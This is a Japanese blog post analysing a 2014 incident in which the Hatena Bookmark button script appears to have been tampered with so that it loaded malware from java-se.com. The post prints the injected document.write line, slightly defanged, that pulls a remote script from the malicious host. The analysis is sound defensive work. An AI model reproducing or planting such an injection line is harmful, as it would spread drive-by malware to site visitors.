情報科学屋さんを目指す人のメモ

方法・手順・解説を書き残すブログ。私と同じことを繰り返さずに済むように。

はてなブックマークボタンが改ざんされマルウェア感染を媒介していた可能性について

Java (38) JavaScript (13) セキュリティ (62) はてなブックマーク (3) マルウェア (1) 改ざん (1)

昨日、Chromeに突然セキュリティ警告が出た、という記事を書いたのですが、そのセキュリティ警告が出た原因をせっせとたどった結果、はてなブックマークボタンが利用するb.st-hatena.comサーバが改ざんされ、多数のサイトを、マルウェアを配布する状態にしていた形跡があったので、説明します。最初に書いておきますが、10/17現在は改ざんされていない、正規のファイルが取得できる状態です。

※はてなから、公式発表がありました。記事の最後にその記事についてのことを追記しました

Chromeに出たエラー

Chromeでとあるブログにアクセスした際に、「アクセス先のサイトで不正なソフトウェアを検出しました」というエラーが突然表示されました。

chrome-malware-alert-message

この警告では、「java-se.com (jdk-7u12-windows-i586.java-se.com)」というドメインから、不正なソフトウェア(マルウェア)が配布されてたから気をつけて、言っています。

経緯

その記事では、このあたりで書くのを止めました。ただ、そのエラーが出たブログの管理者さんから問い合わせがあったので、頑張って分析してみることにしました

細かくて泥臭い調査手順と調査内容は、Chromeのエラー記事の最後の方に、追記という形で途中まで書いたのですが、「わかった!」となったところの直前まで書いて、思ったより大きな問題だと分かったので、そこに書くのは途中でやめて、こちらの記事にしました

マルウェア配布サイト java-se.com へ接続するまで

いろいろ数時間回り道(前述記事参考)をして(勉強になった)、ようやく分かったのが、java-se.comの危険なJavaScriptファイルの読み込みコードが、bookmark_button.js というファイルによって、挿入されていたという事実です。

改ざん内容

正規のbookmark_button.jsの冒頭10行は、

var Hatena = Hatena || {};

/* UTF-8 でないページから読み込まれても動くように、
 * コメントは複数行コメント (閉じる "*" の前にスペースを置く) を使い、
 * 文字列リテラル中の ASCII 外の文字は \uXXXX とエスケープする。
 */

(function (Hatena) {

var B = Hatena.Bookmark = Hatena.Bookmark || {};

ですが、私のChromeに残っていた bookmark_button.js は、冒頭に1行、java-se.comからJavaScriptを読み込んでしまうコードが挿入されているという「改ざん」を受けていました(マルウェアのURLは、間違えて飛ばないように、途中に全角スペースを挿入しています)

java-se-com-manipulated-b-st-hatena-com-javascript-code

document.write("<script language=javascript src=http:\/\/jdk-7u12-windows-i586.java-se.co m/bk/1.js\>\<\/script>");
var Hatena = Hatena || {};

/* UTF-8 でないページから読み込まれても動くように、
 * コメントは複数行コメント (閉じる "*" の前にスペースを置く) を使い、
 * 文字列リテラル中の ASCII 外の文字は \uXXXX とエスケープする。
 */

(function (Hatena) {

var B = Hatena.Bookmark = Hatena.Bookmark || {};

bookmark_button.js の正体は、はてぶボタン用 JavaScript

bookmark_button.js を取得するURLは、「http://b.st-hatena.com/js/bookmark_button.js」であり、これは、はてなブックマークボタンを埋め込むために標準的に利用されるコードでした。

以下は、はてぶボタン作成ページにある、デフォルトのコードです。

<a href="http://b.hatena.ne.jp/entry/" class="hatena-bookmark-button" data-hatena-bookmark-layout="standard-balloon" data-hatena-bookmark-lang="ja" title="このエントリーをはてなブックマークに追加"><img src="http://b.st-hatena.com/images/entry-button/button-only@2x.png" alt="このエントリーをはてなブックマークに追加" width="20" height="20" style="border: none;" /></a><script type="text/javascript" src="http://b.st-hatena.com/js/bookmark_button.js" charset="utf-8" async="async"></script>

java-se-com-default-hatebu-button-code

確かに、「http://b.st-hatena.com/js/bookmark_button.js」を読み込むコードになっています。

現在改ざんは確認できていませんが、このコードが改ざんされていたとすれば、日本中の多数のサイトが、マルウェア配布サイトjava-se.comにアクセスしてしまう状態になっていたと予想されますが、java-se.comやChromeのエラー表示についてTwitterなどを検索しても、ほとんど出てこないので、自分に原因がある可能性を疑いました。

例えば、Chromeの拡張機能がおかしいだとか、自身のPCがマルウェアの被害に遭っているだとか、自分が利用するDNSキャッシュサーバに不正な書き換えがあった、だとか。

しかし、前述の記事でも参考にした「Googleセーフブラウジング情報」を調査した結果、本当に改ざんされていた可能性が高そうだということが分かりました

Googleセーフブラウジング情報の照合

Googleセーフブラウジングは、ウェブサイトがマルウェアに感染していないか、などの情報を提供してくれるサービスです。

java-se.com

冒頭の赤いエラー画面からリンクされており、危険なサイトとして指摘されていた java-se.com の場合は、次のように書かれています。

java-se-com-safe-browsing-java-se-com

ここで注目したいのは、「サイトで不正なソフトウェアをホストしていたかどうか」という部分です。

サイトで不正なソフトウェアをホストしていたかどうか
はい、このサイトでは過去 90 日間に不正なソフトウェアのホスティングが行われ、70 個のドメイン(vip2ch.com/, blog.goo.ne.jp/nakazato-hitoshi/, netouyomilitary.com/ など)への感染が判明しています引用元

java-se.comでは、不正なソフトウェア(マルウェア)をホストしていた(提供していた)」ということと、「vip2ch.com/, blog.goo.ne.jp/nakazato-hitoshi/, netouyomilitary.com/などが、『感染』していた」ということが分かります。

ここで紹介されている、感染したサイト例を覚えておいてください。

ここでの「感染」は、「サイトにアクセスすると、java-se.comに接続しちゃう状態にされてた」というような意味です(後で分かる)

b.st-hatena.com

では、改ざんされていたのではないか?と予想していたはてなブックマークボタンのJSを配信しているサーバ b.st-hatena.comはどうかというと、以下の通りです。

java-se-com-safe-browsing-b-st-hatena-com

一見、「現在のところ、このサイトは疑わしくないと~」と書かれていて安心したのですが、問題は「不正なソフトの感染を広げる媒介をしていたかどうか」にありました

不正なソフトの感染を広げる媒介をしていたかどうか
b.st-hatena.com は、過去 90 日間に 59 個のサイト(vip2ch.com/, blog.goo.ne.jp/nakazato-hitoshi/, netouyomilitary.com/ など)への感染媒体となっていた形跡があります引用元

ここに登場するvip2ch.comなどのドメインは、先ほど 「java-se.com に感染していた」 とされていたドメインと被っています

したがって、先ほどの改ざんされたと思しきbookmark_button.jsのことを思い出せば、b.st-hatena.comが改ざんされていて、そのb.st-hatena.comの改ざんされたファイルを読み込むようになっていたvip2ch.comなどのサイトが、マルウェアを広げていたと解釈できます。

vip2ch.com

さらに追加で、vip2ch.comについてもセーフブラウジングレポートを見てみると、次のようになっていました。

java-se-com-safe-browsing-vip2ch-net

ここでまさしく先ほど書いたようなことが、直接的に説明されています。

Google がこのサイトを巡回したときの状況
このサイトで過去 90 日間に Google がテストした 4887 ページのうち 15 ページで、ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが判明しました。Google が最後にこのサイトを巡回したのは 2014-10-16 で、このサイトで不審なコンテンツが最後に検出されたのは 2014-10-15 です。
不正なソフトウェアは 1 個のドメイン(java-se.com/ など)でホストされています。

1 個のドメイン(st-hatena.com/ など)がこのサイトの訪問ユーザーに不正なソフトウェアを配布する媒体となっていたようです。 引用元

では、冒頭の赤いエラーページを表示した sbapp.net はどうかというと、そちらはこのような情報はありません。しかし、Googleセーフブラウジングが全ページを常にチェックしているものではないため、補足し切れていないものと思われます。ちなみに、java-se.comの被害に遭ったサイトの数は、昨日確認したときは37個で、現在59個と増えていました。

はてなブックマークボタンのサーバが改ざんされ、マルウェア配布を促す状態だった可能性は高そう

以上のGoogleセーフブラウジングの情報も考慮すると、はてなブックマークのサーバ(st-hatena.com)が、一時的にマルウェア配布サイトへの接続を促す状態になっていた、ということのようです。

そして、はてなブックマークボタンは多数のサイトに埋め込まれているため、多くのサイト経由でマルウェアが配布され、多くのユーザーがマルウェアの被害に遭ったのではないか、と予想されます。

java-se.comって何者?

java-se.comについて調べてみると、「Democracy in Hong Kong Under Attack | Volexity Blog」が詳細にレポートしていました。

改ざん方法がbookmark_button.jsと一致

これによると、香港及び日本の多数のサイトが、「JavaScriptファイルの先頭に1行java-se.comからスクリプトを取得するコードを挿入する」という、先ほど紹介した改ざん内容と同様の被害に遭っていたということがわかります(ファイルが微妙に違うがjava-se.comというドメインは一緒)。

その一覧にHatenaの文字はありませんが、「The Japanese Nikkei(www.nikkei.com, asia.nikkei.com)」などの文字があり、「http://parts.nikkei.com/parts/SC/s_cDS.js」が改ざんされていた、と指摘されています(sbapp.net同様、セーフブラウジング機能でwww.nikkei.comを確認しても痕跡はありません)。

改ざん内容が一致することから、b.st-hatena.comのbookmark_button.jsが改ざんされていた可能性はいっそう高くなりました。日本のサイトが主なターゲットになっている、というのも一致します。

ちなみに、java-se.comのIPアドレスは日本のもので(GMO INTERNET INC.)、javaアプレット形式のマルウェアだったようです。

所感

本当にはてブのボタンが改ざんされていたら、大騒ぎだろうから、自分のPCの問題だろう、と思って調査して、結果的にGoogleセーフブラウジングの情報から、本当にはてなブックマークボタンのJavaScriptが改ざんされていた可能性が濃厚となり、驚きました

このような改ざんが日常的にあると、ひとつひとつが取り上げられて騒ぎになるとは限らないようです。また、今回は、本当に改ざんされていたとしても、(雰囲気的にきっと)短時間だったので、あまり影響が出なかったのではないかと思われます(Chromeでエラーが出たのはjava-se.comがマルウェア配布サイト認定されて以降、ということになるので、その情報更新が遅かった結果、エラーが出ず、そのマルウェア配布気が付く人が少なかっただけで、短時間ではなかった可能性もある。ただし、エラー画面が出ずとも、マルウェア配布サーバが機能していれば、先ほどの海外サイトによれば突然javaアプレットの実行が始まるようなので、それが話題になっていたはず。しかし話題になっていないことから、やはり短時間だったのではないかと予想。いや、話題になっていたけど自分まで情報が回っていなかっただけかも)

もし改ざんされて「いた」のであれば、中の人が修復したはずなのでその事実に気が付いているはずで、改ざんされた状態が短時間であっても、はてなブックマークが何らかのリリースを出すのではないかなと思ったのですが、はてぶやはてなのサイトを見たところ、それらしきリリースは見当たりませんでした。改ざんがなかった、もしくは、何か自動的に復元するようなシステムになっていたのかもしれません。

この記事には書きませんでしたが、前の記事に途中まで書いた、これを特定するまでのトライ&エラー(WireShark使ったり、ChromeのDeveloper Toolsの中をさまよったり、Hostsファイルを書き換えて特定のJSを読み込ませないようにして実験したり、ファイルをダウンロードしてDiffを取って原因を特定しようとしたり)を通じて、とても勉強になりました。次回似たようなことがあれば、もっと効率よく調べられるようになったはずです。

追記

はてなの公式発表がありました:「はてなブックマークボタンを設置した一部サイトに対するセキュリティ警告に関して - はてなブックマーク開発ブログ

この警告に関して、はてなに起因するセキュリティ上の問題はなかったものと判断しています。警告が報告された要因については、はてな外部のネットワークなどにある可能性が考えられますが、詳細や影響範囲については現時点でなお調査中です。 引用元

続報に期待です。

コメント(2)

  1. ho
    2014年10月17日(金) 23:57

    vip2ch.comとvip2ch.netがごっちゃになってるようです

  2. mo
    2014年10月18日(土) 00:25

    HTTPの時点で、公衆WIFI等でのMIM攻撃だと思う。

新しいコメントを投稿




  • カテゴリ ナビ
  • 著者紹介

    ブログが趣味で、 月間1,000万PV を達成しました。

    自分が困ったことをブログに書けば、次に困る人の参考になって、みんながみんな同じ苦労をせずに済む、というのが原点です。

    最近の関心は、スマホやパソコンに詳しくない人の行動や思考、 そしてそんな人を手助けする方法や枠組み。 また、それに関連するような、"身近な"セキュリティ。

    ※SNS(特にTwitter)でシェアされた記事は、内容の追加・更新を行っています。 必ず、ではありませんが、気に入った記事は積極的にシェアしてみてください。

    RSS | Facebook | Twitter | About